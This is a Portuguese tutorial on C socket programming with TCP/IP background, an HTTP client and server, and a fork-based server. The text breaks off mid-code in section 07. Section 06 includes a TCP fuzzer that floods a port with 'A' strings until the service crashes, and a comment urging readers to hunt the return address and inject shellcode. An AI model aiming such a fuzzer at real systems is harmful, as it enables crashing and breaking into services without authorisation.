# language: Portuguese
# Title: Sockets em linguagem C
# Date: 2010-03-05
# Author: Cooler_
.
\ : /
' _ '
-= ( (_) ) =-
. .
/ : \
.-. '
|.|
/)|`|(\
(.(|'|)`)
~~~~~~`\`'./'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|.| ~~
|`| ~~ ///
,|'|. (_) ~~ |00|
"'" \"\ ^~^~~
~~ ^~^ ~ ~~~
~~~~
_____ _ _ ~~~~~~
/ ____| | | | |
| (___ ___ ___| | _____| |_ ___ ___ _ __ ___
\___ \ / _ \ / __| |/ / _ \ __/ __| / _ \ '_ ` _ \ ~~~~~
____) | (_) | (__| < __/ |_\__ \ | __/ | | | | | ((__))
|_____/ \___/ \___|_|\_\___|\__|___/ \___|_| |_| |_| ( O O)
~~ ~"\_\" ~~
~~ ^~
_ _ ~~~~~~ _____
| | (_) ~~ / ____| ~~
| | _ _ __ __ _ _ _ __ _ __ _ ___ _ __ ___ | |
| | | | '_ \ / _` | | | |/ _` |/ _` |/ _ \ '_ ` _ \ | | ~~
| |____| | | | | (_| | |_| | (_| | (_| | __/ | | | | | | |___
|______|_|_| |_|\__, |\__,_|\__,_|\__, |\___|_| |_| |_| \_____|
__/ | __/ | ~~~~~
|___/ |___/ ~~~
,;~;, ~~~ autor: Cooler_
/\_ contato: c00f3r@gmail.com
~~ ( / http://BotecoUnix.com.br
(()| //) data: março dia 5 de 2010
| \\ ,,;;'\
__ _( )m=(((((((((((((================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ))
) / / ) // Sem verba e mesmo estando na seca ! estou ajudando pessoal
// \\ |||
)_\ )_\ )_\\
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Não diga que a vitória está perdida se é de batalhas que se vive a vida."
por Raul Seixas
OBS: Não nos responsabilizamos pelo mau uso das informações aqui contidas.
Todo material e exemplos descritos nesse tutorial possuem somente
propósitos educacionais.
+======================================================================+
| |
| ÍNDICE |
|======================================================================|
| +01 - Introdução |
| +02 - Explanação ao TCP/IP |
| +03 - BSD Sockets |
| +04 - Funções read(),send() e exemplo cliente HTTP |
| +05 - Funções listen(),Bind(),accept() e servidor http exemplo |
| +06 - Na prática fazendo um FUZZER TCP |
| +07 - Servidor e Cliente com Fork |
| +08 - Servidor de comandos e Scanner de portas |
| +09 - Simple Socket Library |
| +10 - Explanação ao UDP e exemplo de Servidor e cliente |
| +11 - Exemplo UDP Flood |
| +12 - Conclusão |
| +13 - Bibliografia |
| +14 - Agradecimentos |
| +15 - Sources externas |
| |
+======================================================================+
-------------------------------
+01 Introdução
-------------------------------
Bom galera já muito tempo prometo para amigos e colegas do IRC um
tutorial sobre sockets,o assunto é fascinante e ao mesmo tempo fatigante
por conta do grande número de informações,Bom tutoriais de linguagem C
não falta porem são redundantes sempre são sobre algoritmos,sort,lifo,trees
,hash tables, bancos de dados,grafos,interfaces de GUI como gtk,ncurses
entre outros. Estrutura de dados e algoritmos em C são novos
truques, um mago tem quer saber para ajudar nas suas tarefas,obviamente
quanto mais truques melhor para ele, quando vemos ai algo de Sockets são
coisas simples como port scan ,floods UDP bom vamos ver isso aqui
também mais nossa meta é algo mais,quanto a tarefas multiprocesso vou
usar fork por ser mais popular no pessoal intermediário em C,pois pthreads
é para usuários avançados fora que pedi mais explicações . além disto tudo
eu mostro soluções mais fáceis como uso de bibliotecas externas para fazer
certas tarefas.
O sistema operacional que testei os programas é Gentoo Linux,Debian e FreeBSD
se você usa windows um bom conselho seria instalar cygwin ou virtual box e
separar uma maquina por la com linux, do mais um bom editor de texto com highlights
como VIM e EMACS evite IDEs pesadonas como eclipse,netbeans. Um GDB para depurar
o código ou desbugar e já esta bom .Bom o assunto é tenso como diz meu amigo
"_mlk_",se ajuda segundo "mind hacks" book da o'reilly a glicose é combustível
para o cérebro e na hora que se come fazemos um overclock no nosso cérebro por
alguns minutos ou horas então como conselho tome um suco ai de maçã,café antes
de ler este tutorial e bote uma colher de açúcar mascavo no suco, e depois de
10 horas de uma lida rápida assim memoriza algumas coisas. Café é sodá que se
tomar muito o desgaste vem em dobro, use com moderação ;).
-----------------------------------
+02 Explanação ao TCP/IP
-----------------------------------
antes de partir para Rock vamos uma leve introdução ao TCP/IP
TCP/IP -( TRANSMISSION CONTROL PROTOCOL/INTERNET PROTOCOL) É um padrão de
comunicação que reúne um conjunto de protocolos tais como tcp, ip, ftp (file
transfer protocol), telnet, icmp, arp e nfs. As informações que trafegam na
rede necessitam do TCP/IP, por isso ele é utilizado como protocolo primário
da rede na internet. Este protocolo foi dividido em “camadas” bem definidas,
cada uma realizando sua parte na tarefa de comunicação (aplicação, transporte,
rede, e enlace/físico). Este modelo tem a seguinte vantagem: por ter os processos
de comunicação bem definidos e divididos em cada camada, qualquer alteração poderá
ser feita isoladamente, não precisando reescrever todo o protocolo. O TCP/IP tem
como principal característica a transmissão de dados em máquinas que diferem em suas
arquiteturas .
Estas são as camadas que compõem o modelo TCP/IP.
Aplicação , Transporte , Rede e enlace/físico
vou explicar cada uma delas
*APLICAÇÃO
Nesta camada são necessários protocolos de transporte para garantir o funcionamento
das aplicações reais (DNS, WWW, SMTP, POP, NFS, FTP). Esta camada trabalha com a porta
a qual esta ligada a aplicação. Ex: FTP (porta 21), HTTP (porta 80), Telnet (porta 23), etc.
*TRANSPORTE
Utiliza dois protocolos para a comunicação Host-to-Host (TCP/UDP). Esta camada também
tem como função organizar e controlar o fluxo de dados transmitidos para que o protocolo
não se perca no meio de tantos pacotes.
*REDE
A camada chamada de rede ou Internet, tem como principal função direcionar os dados
aos seus respectivos endereços. Esta característica é chamada de roteamento, que
também tem como vantagem evitar o congestionamento da rede, pois trabalha com endereço
IP de origem e destino.
*enlace/físico
Esta camada está com o seu funcionamento baseado na placa de rede, que dependendo
do meio em que está funcionando trabalhará com diferentes padrões.
voltando ao termo TCP o processo de aplicação transmite seus dados, de tamanho variável,
fazendo chamadas ao TCP ao TCP cabe a fragmentação destes dados, formando os segmentos
segmentos são unidades de transferência de dados do protocolo TCP a troca de segmentos
serve para estabelecer conexão, transferir dados, etc
vamos entender alguns campos de segmento TCP
Offset: (4 bits) tamanho do header TCP
Reserved: (6 bits) reservado p/ uso futuro
Flags: (6 bits)
URG: sinaliza um serviço urgente
ACK:envio de uma confirmação válida no cabeçalho
PSH:entrega de dados urgente à aplicação, s/ bufferização
RST: resetar a conexão
SYN:sincronizar o no de seqüência
FIN: encerramento da conexão
- Características principais:
-Transferência em fluxo(stream) de dados
-Confiabilidade(Reconhecimento ACK)
-Controle de fluxo(Janela deslizante)
-Multiplexação/Demultiplexação
-Conexões logicas(Manutenção de Status)
-Full-duplex
- Formato do segmento TCP
0 32
____________________________________________________________
| Porta de Origem | Porta de destino |
|------------------------------------------------------------|
| Numero seqüencial |
|------------------------------------------------------------|
| Numero de Reconhecimento |
|------------------------------------------------------------|
|Deslocamento | Reservado |URG|ACK|PSH|RST|SYN|FIN| Janela |
|------------------------------------------------------------|
|Checksum | Ponteiro de urgência |
|------------------------------------------------------------|
| Opções | Preenchimento |
|------------------------------------------------------------|
| Dados |
|____________________________________________________________|
ou
0 4 8 16 19 24 32
-------------------------------------------------------------------------
| Source Port | Destination Port |
-------------------------------------------------------------------------
| Sequence Number |
-------------------------------------------------------------------------
| Acknowledgment Number |
-------------------------------------------------------------------------
| HLEN | Reserved | Code Bits | Window |
-------------------------------------------------------------------------
| Checksum | Urgent Pointer |
-------------------------------------------------------------------------
| Options | Padding |
-------------------------------------------------------------------------
| Data |
-------------------------------------------------------------------------
Pessoal que já brincou com "Nmap" e firewalls sabe muito bem o que são estas flags...
detalhes ai do TCP vide http://www.faqs.org/rfcs/rfc793.html .
*agora já que temos uma leve base de TCP vamos para UDP
UDP seria user Datagram protoco ou seja permite que a aplicação escreva um
datagrama encapsulado num pacote IPv4 ou IPv6, e então enviado ao destino.
Mas não há qualquer tipo de garantia que o pacote irá chegar ou não. Nem chega
a ser confiável mais é bom saber sua função também dizemos que o UDP é um serviço
sem conexão, pois não há necessidade de manter um relacionamento longo entre cliente
e o servidor. Assim, um cliente UDP pode criar um socket, enviar um datagrama para um
servidor e imediatamente enviar outro datagrama com o mesmo socket para um servidor
diferente. Da mesma forma, um servidor poderia ler datagramas vindos de diversos
clientes, usando um único socket. A diferença básica entre o UDP e o TCP é o fato
de que o TCP é um protocolo orientado à conexão e, portanto, inclui vários mecanismos
para iniciar,manter e encerrar a comunicação, negociar tamanhos de pacotes, detectar
e corrigir erros, evitar congestionamento do fluxo e permitir a retransmissão de
pacotes corrompidos, independente da qualidade
do meio físico.
Agora faltou explicar o que é IP, deveria ter explicado primeiro...
IP é um acrônimo para a expressão inglesa "Internet Protocol" (ou Protocolo de
Internet), que é um protocolo usado entre duas ou mais máquinas em rede para
encaminhamento dos dados. Os dados numa rede IP são enviados em blocos referidos
como pacotes ou datagramas (os termos são basicamente sinônimos no IP, sendo
usados para os dados em diferentes locais nas camadas IP). Em particular, no IP
nenhuma definição é necessária antes do host tentar enviar pacotes para um host
com o qual não comunicou previamente. O IP oferece um serviço de datagramas não
confiável (também chamado de melhor esforço); ou seja, o pacote vem quase sem
garantias. O pacote pode chegar desordenado (comparado com outros pacotes enviados
entre os mesmos hosts), também podem chegar duplicados, ou podem ser perdidos por
inteiro. Se a aplicação precisa de confiabilidade,esta é adicionada na camada de
transporte.
-----------------------------------
+03 BSD Sockets
-----------------------------------
Sockets o que é ?
Especificamente em computação, um soquete pode ser usado em ligações de redes
de computadores para um fim de um elo bidirecional de comunicação entre dois programas.
A interface padronizada de soquetes surgiu originalmente no sistema operacional Unix BSD
(Berkeley Software Distribution); portanto, eles são muitas vezes chamados de Berkeley
Sockets. É também uma abstração computacional que mapeia diretamente a uma porta de
transporte (TCP ou UDP) e mais um endereço de rede. Com esse conceito é possível identificar
unicamente um aplicativo ou servidor na rede de comunicação IP. Isso segundo wikipédia mas
vamos a algo concreto...
*Um socket identifica univocamente um usuário TCP
*Permite a associação entre processos de aplicação
*O identificador da porta é concatenado ao endereço IP, onde a entidade TCP está rodando,
definindo um socket
*Função socket ()
exemplo de uso
socket (familia, tipo, protocolo);
O nome de um socket sempre está relacionado a um espaço de nomes, também chamado de
domínio (socket domain).Cada espaço de nomes é definido por uma macro na forma PF_*
(que vem do termo Protocol Family). Os principais espaços de nomes em uso no UNIX são:
*PF_LOCAL : indica o espaço de nomes local, no qual os nomes de sockets são válidos
somente no escopo do computador local. As macros PF_UNIX e PF_FILE são sinônimos desse
espaço de nomes.
*PF_INET : indica o espaço de nomes IPv4 e seus protocolos associados.
*PF_INET6 : indica o espaço de nomes IPv6 e seus protocolos associados.
Além dos acima, outros espaços de nome estão disponíveis, embora sejam de uso menos
freqüente: PF_NS
(protocolos Xerox NS), PF_ISO (protocolos OSI/ISO), PF_CCITT (protocolos do CCITT),
PF_IMPLINK (Internet Message Processors), PF_ROUTE (protocolos de roteamento), etc.
Para cada espaço de nomes, uma macro correspondente
AF_* define o formato dos endereços para aquele espaço
familia:
PF_UNIX, PF_LOCAL, PF_INET, PF_INET6, PF_IPX, PF_NETLINK, PF_X25, PF_AX25
PF_ATMPVC, PF_APPLETALK, PF_PACKET, AF_INET, AF_UNIX, AF_ISO, AF_NS...
Os sockets são divididos em 'tipos'.
são eles SOCK_STREAM, SOCK_DGRAM, SOCK_SEQPACKET, SOCK_RAW, SOCK_RDM, SOCK_PACKET
| | |
TCP_________/ | |
UDP______________________/ |
famoso raw sockets _________________________________/
SOCK_STREAM: Fornece seqüencial, seguro, e em ambos os sentidos, conexões baseadas
em "byte streams". Dados "out-of-band" do mecanismo de transmissão devem ser suportados.
O protocolo TCP é baseado neste tipo de socket.
SOCK_DGRAM: Suporta diagrama de dados (baixa conexão, mensagens inconfiáveis de um
comprimento máximo fixo). O protocolo UDP protocol é baseado neste tipo de socket.
SOCK_SEQPACKET: Fornece um seqüencial, seguro, e em duas direções de tipos de conexões
para transmissão de dados endereçados para o diagrama de dados de comprimento máximo fixo;
um consumidor é requerido para ler um pacote inteiro com cada chamada de leitura.
SOCK_RAW: Fornece um protocolo de rede de acesso rápido. Este tipo especial de socket
pode ser usado manualmente para construir algum tipo de protocolo. Um uso comum para esse tipo
de socket é desempenhar requisições ICMP (como ping, traceroute, etc).
SOCK_RDM : Fornece uma camada seguro que não garante ordenação. Isso é comumente não
implementado no seu sistema operacional.
tipos de protocolo
protocolo:
ip 0 IP # internet protocol, pseudo protocol number
icmp 1 ICMP # internet control message protocol
igmp 2 IGMP # internet group multicast protocol
ggp 3 GGP # gateway-gateway protocol
tcp 6 TCP # transmission control protocol
pup 12 PUP # PARC universal packet protocol
udp 17 UDP # user datagram protocol
idp 22 IDP # WhatsThis?
raw 255 RAW # RAW IP interface
----------------------------------------------------------------------
+04 Funções read(),send() e exemplo cliente HTTP
----------------------------------------------------------------------
vamos usar algumas biblitoecas são elas "sys/types.h","sys/sockets.h","netinet/in.h",
"errno.h" e "netdb.h"
*outra função que vamos suar connect()
seria uma função responsável pela conexão de seu socket cliente, com um serviço
servidor qualquer.
as libs necessárias para o uso dessa função são "sys/types.h" e "sys/socket.h"
Uma vez declarado as lib.. vamos declarar a função propriamente dita:
int connect(Meusocket,(struct sockaddr * )&server, sizeof(server));
*read()
usada para ler mensagens enviadas de um socket. Sua
sintaxe eh igual a da função write ():
int read (socket, *buffer, tamanho utilizado do buffer);
*send()
Usada para enviar uma mensagem para um socket.
int Send (socket, *mensagem, tamanho da mensagem, parametros adicionais)
parâmetros adicionais podem ser:
#define MSG_OOB 0x1 /* process out-of-band data*/
#define MSG_DONTROUTE 0x4 /* bypass routing, usedirect interface */
#define MSG_DONTWAIT 0x40 /* don't block */
#define MSG_NOSIGNAL 0x2000 /* don't raise SIGPIPE */
MSG_OOB - Envia mensagens Out-Of-banda (OOB) - fora de banda - para sockets
que suportam esse tipo de mensagem. Esse tipo de parâmetro eh o
calcanhar de aquiles do Windows 95, que trava com uma mensagem OOB
(famoso winnuke)
MSG_DONTROUTE - Usado como debugador, para encontrar problemas
MSG_DONTWAIT - Permite operações "non-blocking"
MSG_NOSIGNAL - Ao manda SIGPIPE em erros em sockets stream quando o outro
endereço quebra a conexão.
exemplo de utilizacão:
char cso [] = "sai fora cara"
send (newSock, cso, sizeof (cso), 0); //Sem parâmetros adicionais
continuando...
Vou mostrar um exemplo ai de sockets usando Protocolo Http com funções
socket,connect,read e send. vamos fazer simples cliente que pega Lê uma
source de uma página http,veja que antes de mandar para socket tenho que
converter o HOST em IP
---------------------------------- BEGIN CODE
/*
GarageCode coolest things Hehehe
http://GarageCode.tk
*Function this programm
This is Simples programm to splain the socket job in
http protocol,to send data and take request from WebServer
(C code with socket)
||
||
\ /
\/
[GET /index.html HTTP/1.1\nHost: www.site.com\t \n\n]
||
||
\ /
\/
(Apache listening server) if http read return the request with html to socket
this coolest to study sockets and http requests,in the future i make robot
about logic this code...
*tested with GCC
i wheel on Unix/Linux/BSD this:
gcc -o program program.c; ./program
Author: "Cooler_"
contact: tony.unix@yahoo.com.br or c00f3r@gmail.com
license: GPL2
visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix
greetz
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.
__ ____
/ /. .\
|--| 0 0 |
| | . . |
\ \____/
_----\___/---- _
/___\ /___\
| | |_|0|_| | |
| | |_|_|0| | | rick taylor from
| | |0|0|0| | | The Game SplatterHouse 2 at 1992
| | | /
\ ) -------- ( /
/\/ |) \/\
|/ \ |
( | )
|\ | /|
| | |
\ | /
\ ___ | ___ /
=o= | =o=
/xx | xx\ Code and art by Cooler_
(_______| |______)
*/
//libs diversas para tratar entrada saida,memoria,string,erros...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
//libs padrão para uso da socket
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
// lib para usar para converter host para ip
#include <netdb.h>
#define MAXSIZE 800
#define MAX 500
int main() {
int sockfd,n;
char *url,buff[MAXSIZE],sBuff[MAXSIZE],host[MAX],page[MAX],enter[MAX];
/*
no protocolo http o cliente manda dados com a info
GET /index.html HTTP/1.1
Host: www.site.com
para tal feito ficaria em C
GET /index.html HTTP/1.1\nHost: www.site.com\t \n\n
Peguei entrada um link http extraimos host e dados do GET
com sscanf,também pode ser feito com split ou regex,bom estraido
dados usei strcat para concatenar as variaveis alfanumericas
*/
char getpage[MAX]="GET /";
// struct do netdb para converter host para ip
struct hostent *ip;
// struct da socket
struct sockaddr_in end;
//pegamos entrada do usuario
printf("digite um link: ");
fgets(enter, sizeof(enter), stdin);
enter[strlen(enter)-1] = '\0';
//extraimos host e local da pagina
sscanf(enter, "http://%99[^/]/%99[^\n]", host, page);
printf("DNS = \"%s\"\n", host);
printf("Page = \"%s\"\n\n", page);
strcat(page," HTTP/1.1\nHost: ");
strcat(page,host);
strcat(page,"\t \n\n");
// função da lib netdb.h para converter ai nosso host para IP
ip = gethostbyname(host);
url=inet_ntoa(*(struct in_addr *)ip->h_addr);
strcat(getpage,page);
printf("%s",getpage);
/*
separamos buff para pegar resposta do server
mas antes preenchemos a memoria com \0
usamos sbuff para armazenar dados do envio
*/
memset(buff,'\0',sizeof(char)*MAXSIZE);
memset(sBuff,'\0',sizeof(char)*MAXSIZE);
strcpy(sBuff,getpage);
// condições simples em caso de erro
if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0 ){
perror("socket");
return errno;
}
// definimos a porta usado no caso 80
/*
sin familia
+ AF_INET (ARPA INTERNET PROTOCOLS) - "A mais usada"
+ AF_UNIX (UNIX INTERNET PROTOCOLS)
+ AF_ISO (ISO PROTOCOLS)
+ AF_NS (XEROX NETWORK SYSTEM PROTOCOLS)
*/
end.sin_family=AF_INET;
end.sin_port=htons(80);/* Aqui é o seguinte:
htons significa "host to network short", como
é short trabalha com 2 bytes,mas ha ainda
outros tipos como: htonl("host to network
long",4 bytes), ntós("network to host
short",2 bytes), ntól("network to host
long", 4 bytes). */
if( inet_pton(AF_INET,url,&end.sin_addr) < 0){
perror("inet_pton");
return errno;
}
memset(end.sin_zero,'\0',8);
if(connect(sockfd,(struct sockaddr*)&end,sizeof(struct sockaddr)) < 0){
perror("connect");
return errno;
}
if( (send(sockfd, sBuff, strlen(sBuff), 0)) < 0){
perror("send");
close(sockfd);
return errno;
}
// recebe a resposta e mostra saida
while((n=read(sockfd,buff,MAXSIZE)) > 0) fprintf(stdout,"%s",buff);
close(sockfd);
return 0;
}
---------------------------------- EOF
compile
gcc -o client client.c; ./client
vai pedir um link digite exemplo http://www.botecounix.com.br/blog e veja que bacana
Voltando a explicação deste exemplo esta em linhas comentadas, ficou sóda o exemplo
fazer isso em C é muito sóda da um trabalho danado,continuando a saga do HTTP vamos
fazer agora um servidor de web...
----------------------------------------------------------------------
+05 funções listen(),Bind(),accept() e servidor http exemplo
----------------------------------------------------------------------
só que inves de fazer POG com memset vamos usar uma função para setar dados para zero
*bzero () uma funcao que escreve zeros para uma string. No nosso caso,
serve para zerar o resto da struct.
void bzero (void *s, int n);
pega os primeiros "n" bytes da string apontada em s e muda-os para zero.
*listen()
Esta funcao faz com que um socket aguarde por conexoes.
fica na esculta...
listen (socket, numero maximo de conexoes);
ex: int sock2; sock2 = socket (AF_INET, SOCK_STREAM, 0);
listen (sock2, 4); // apenas 4 clients podem se conectar nesse socket.
*write()
Tambem é usada para enviar mensagens para um socket.
int write (socket, *buffer, tamanho utilizado do buffer);
write (sock, msg, strlen (msg));
Você pode substituir a funcao send () por write() dependendo do caso...
*Bind()
Bind serve para unir um nome ao socket que você abriu. Para que fique bem
claro, observe abaixo,IP do servidor: 201.34.36.133 ,IP do cliente: 201.45.44.144
Para que o cliente localizado em 201.45.44.144 se comunique com um programa
(servidor) localizado em 201.34.36.133, é necessario que os dois se
comuniquem por um canal em comum uma porta. Conexoes telnet sao feitas
normalmente pela porta 23, ftp pela 21, http pela 80 etc.... A diferenciação
entre os tipos de serviço está pela porta que este abre. Entao se eu for
mandar uma mensagem para o servidor, esta tem q ir por uma porta aberta no
sistema, especifica para aquele programa servidor. A funcao bind () faz o
papel de abrir a porta no sistema.
A sintaxe da bind () eh:
int bind (socket, estrutura de conexao (local), tamanho da estrutura);
*accept ()
Estabelece conexoes em um socket. Ela cria um novo socket com as mesmas
propriedades do socket anterior do seu programa e aloca um novo "int socket"
para a nova conexao.
int sock2,
newSock, // Este sera o novo socket
tamanho;
sock2 = socket (AF_INET, SOCK_STREAM, 0);
...
tamanho = sizeof (struct sockaddr);
listen (sock2, 3);
newSock = accept (sock2, (struct sockaddr_in *)&remote, &tamanho);
sintaxe seria
novo socket = accept (socket, estrutura de conexao, tamanho);
paramos de conversa e vamos ao programa comentado
---------------------------------- BEGIN CODE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <resolv.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
//nossa porta
#define PORT 666
int main (int argc, char *argv[]){
int serversock;
struct sockaddr_in self;
/* cria o socket */
serversock = socket (AF_INET, SOCK_STREAM, 0) ;
if ( serversock < 0 ){
perror("Erro no socket");
exit(1);
}
/* monta o endereço */
bzero (&self, sizeof(self));
self.sin_family = AF_INET;
self.sin_port = htons(PORT);
self.sin_addr.s_addr = INADDR_ANY; /* uso o endereço do host */
/* associa o endereço ao socket */
if ( bind (serversock, (struct sockaddr*)&self, sizeof(self)) ) {
perror("Erro no bind");
exit(1);
}
/* coloca o socket em escuta */
if ( listen (serversock, 20) ) {
perror("Erro no listen");
exit(1);
}
for(;;) {
int clientsock;
struct sockaddr_in client_addr;
int addrlen = sizeof (client_addr);
char * resposta ;
/* aguarda e aceita uma conexão externa */
clientsock = accept (serversock, (struct sockaddr*)&client_addr, &addrlen);
printf ("Client %s:%d connected\n",
inet_ntoa (client_addr.sin_addr),
ntohs (client_addr.sin_port));
/* envia uma resposta HTTP padrão */
resposta = "HTTP/1.1 200 Ok\n\n<p><b>Servidor exemplo funciono!!</b></p><img src=\"http://i21.photobucket.com/albums/b256/rot_in_pieces/splatterhouse.gif\">\n" ;
write (clientsock, resposta, strlen (resposta));
/* fecha o socket da conexão recebida */
close (clientsock);
}
/* encerra o socket servidor */
close (serversock);
return 0;
}
---------------------------------- EOF
vamos lá compile
gcc -o code code.c; ./code
feito isso abra navegador na url http://localhost:666
BINGO!
veja que o server é simples se agente usar netcat para conectar por
exemplo o server responde do mesmo geito não usa uma regex ou parser
para indentificar apenas navegadores...
---------------------------------- CMD
cooler@gentoo ~/c/good/socket $ nc localhost 666
HTTP/1.1 200 Ok
<p><b>Servidor exemplo funciono!!</b></p>
<img src="http://i21.photobucket.com/albums/b256/rot_in_pieces/splatterhouse.gif">
---------------------------------- EOF
se não me engano o Servidor Apache usa "pcre.h" para fazer estas regex de verificação...
Bom nosso servidor funcionou,Voltando para o HTTP estudando suas documentações podemos
até fazer um post ou um get enviando dados, porem não é nosso objetivo aqui nidar com Bots
e spiders de Web.
Se quiser ta ai o link para te ajudar nos spiders e entender http boa sorte
http://tools.ietf.org/html/rfc2616 se conseguir mandar POST para um link usando
"client" com socket mande e-mail do seu programa em C para eu ver ;)
*pulo do gato pro pessoal que não gosta de criar a rodá,quer criar seus
Bots e spiders de forma portavel,com estas bibliotecas você pode usar POST,GET e
fazer AUTH,extrair Links,tarefas no FTP,fazer downloads....
libcurl é fácil para tal feito vide http://curl.haxx.se/libcurl/c/postit2.html
Libwww - the W3C Protocol Library, mais popular http://www.w3.org/Library/
vamos continuar estudando sockets a fundo vamos deixar as bibliotecas que usa sockets
para depois.
----------------------------------------------------------------------
+06 Na prática fazendo um FUZZER TCP
----------------------------------------------------------------------
continuando nossos estudos com sockets vamos um exemplo diferente de cliente
e servidor vou mostrar um Fuzzer ,para quem não sabe fuzzing ta sendo usado
para ajudar no descobrimento de falha em geral, ele faz testes em determinado
programa seja por entradas stdin,forms http,argv,packets ou strings SQL etc...
no nosso caso ele faz teste em programas remotos
---------------------------------- CODE
/*
GarageCode coolest things Hehehe
http://GarageCode.tk
*Function this programm
this programm do tests with strings "A" to search Bugs in TCP servers to make
Remote Buffer Overflow on TCP servers is seen very within the hacker scene
because the developers are busy making money n not do things well done...
Wellcome to the real world,find the bug you should run behind the return address
using GDB or other equivalent programm n inject your shellcode...
*tested with GCC
i wheel on Unix/Linux/BSD this:
gcc -o program program.c; ./program
Author: "Cooler_"
contact: tony.unix@yahoo.com.br or c00f3r@gmail.com
license: GPL2
visit this site: http://BotecoUnix.com.br
Real Geeks BotecoUnix
greetz
Thanks _mlk_ , m0nad,IAK,Fox,edenc,D3lf0,zepplin and f0kerdebug.
__ ____
/ /. .\
|--| 0 0 |
| | . . |
\ \____/
_----\___/---- _
/___\ /___\
| | | |0| | | |
| | | | |0| | | rick taylor from
| | |0|0|0| | | The Game SplatterHouse 2 at 1992
| | | / art and code by Cooler_
=================================
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
struct sockaddr_in adr;
int main() {
int sock, envio,porta,bit, cont=1;
char ip[32];
// entradas do nosso programa
printf("quantos caracters ?\n"); scanf("%d",&bit);
printf("qual numero da porta a testar ?\n"); scanf("%d",&porta);
if((porta > 65535)||(porta <= 0)||(bit <= 0)) {
fprintf(stderr, "ERRO veja se digitou dados validos\n");
return 0;
}
getchar();
printf("digite o ip \n");
fgets(ip, sizeof(ip), stdin);
ip[strlen(ip)-1] = '\0';
while(cont <= bit) {
// buffer vai aumentar 1,2,3,4,5... até o valor da var bit
unsigned char buffer[cont];
// socket simples
sock = socket (PF_INET, SOCK_STREAM, IPPROTO_IP);
memset(&(buffer), 'A', sizeof (buffer));
adr.sin_family = AF_INET;
adr.sin_port = htons (porta);
inet_aton (ip, &(adr.sin_addr));
bzero (&(adr.sin_zero), 8);
if ( (connect (sock, (struct sockaddr *)&adr, 16)) == -1)
fprintf (stderr, "Porta [%d] ip: %s conexão não ativa ao envio de %d strings\n",
ntohs (adr.sin_port), inet_ntoa (adr.sin_addr),cont);
// enviamos buffer
envio=send(sock, buffer, sizeof (buffer), 0);
printf ("[%d] letras enviadas para %s porta %d\n", envio,ip,porta);
if(envio == -1) printf("\nfuzzer terminou com %d letras 'A'\n", cont);
cont++; close(sock);
}
return 0;
}
---------------------------------- EOF
não tem nada de mais no fuzzer, tudo vimos neste paper funções e tal agora
vamos passar um exemplo simples ai de uso,exemplo você tem um servidor
vulnerável sabendo que ele dá crash com mais de mil caracters de envio
então temos o ambiente:
---------------------------------- CMD
cooler@gentoo ~/c/good/socket $ ./server 4000 <----iniciamos server vulnerável em outro term
#ele fica na escuta "listening"
no terminal do teste faça
cooler@gentoo ~/c/good/socket $ ./fuzz
quantos caracters ?
2000
qual numero da porta a testar ?
4000
digite o ip
127.0.0.1
depois de uns minutos testando o serviço funcionando na porta 4000
+++ no terminal do servidor
outras tentativas bla bla
onexão a partir de 127.0.0.1...
Descritores dos sockets: Servidor: 65, Conexão: 4
Mensagem recebida: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...até 1026
Não foi possível aceitar conexão.
deu crash
+++ no terminal do teste
...bla bla bla
[1017] letras enviadas para 127.0.0.1 porta 4000
[1018] letras enviadas para 127.0.0.1 porta 4000
[1019] letras enviadas para 127.0.0.1 porta 4000
[1020] letras enviadas para 127.0.0.1 porta 4000
[1021] letras enviadas para 127.0.0.1 porta 4000
[1022] letras enviadas para 127.0.0.1 porta 4000
[1023] letras enviadas para 127.0.0.1 porta 4000
[1024] letras enviadas para 127.0.0.1 porta 4000
[1025] letras enviadas para 127.0.0.1 porta 4000
Porta [4000] ip: 127.0.0.1 conexão não ativa ao envio de 1025 strings
*BINGO ! no envio de 1025 caracters "A" o buffer estora e o servidor cai
---------------------------------- EOF
Bom agora explorar é com você tutorial aqui é apenas de sockets ;)
ops: codigo do servidor vulnerável ta no fim deste paper...
----------------------------------------------------------------------
+07 Servidor e Cliente com Fork
----------------------------------------------------------------------
Continuando nossa Odisséia já enfrentamos um ciclope entendendo STREAMS
ou seja comunicação TCP ficou faltando RAW_SOCK famoso raw sockets,DGRAM
ou seja UDP.Mesmo tendo 3 exemplos é quero passar mais alguns problemas,
bora fazer um servidor tipo QuestBook, ou seja cliente entra deixa uma
mensagem e se o cliente quiser sair ele digita "exit",o nosso server vai
poder ter no maximo 5 conexões ao mesmo tempo, para tal feito vamos usar
fork veja
---------------------------------- CODE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/wait.h>
#define PORTA 6666
#define ERRO -1
#define TAMMAX 250 //tamanho maximo da string
int main () {
struct sockaddr_in network,local;
int sock,
newSock,
resp,
strucsize,pros;
char msgbuffer [TAMMAX];
if(fork() == 0){
sock = socket (AF_INET, SOCK_STREAM, 0);
if (sock == ERRO) {
perror ("Socket");
exit (0);
}
bzero ((char *)&local, sizeof (local));
local.sin_family = AF_INET;
local.sin_port = htons (PORTA);
local.sin_addr.s_addr = INADDR_ANY;
strucsize = sizeof (local);
resp = bind (sock, (struct sockaddr *)&local, strucsize);
if (resp == ERRO) {
perror ("Bind");
exit (0);
}
//numero maximo de conexões agente definiu aqui
listen (sock, 5);
for(;;) {
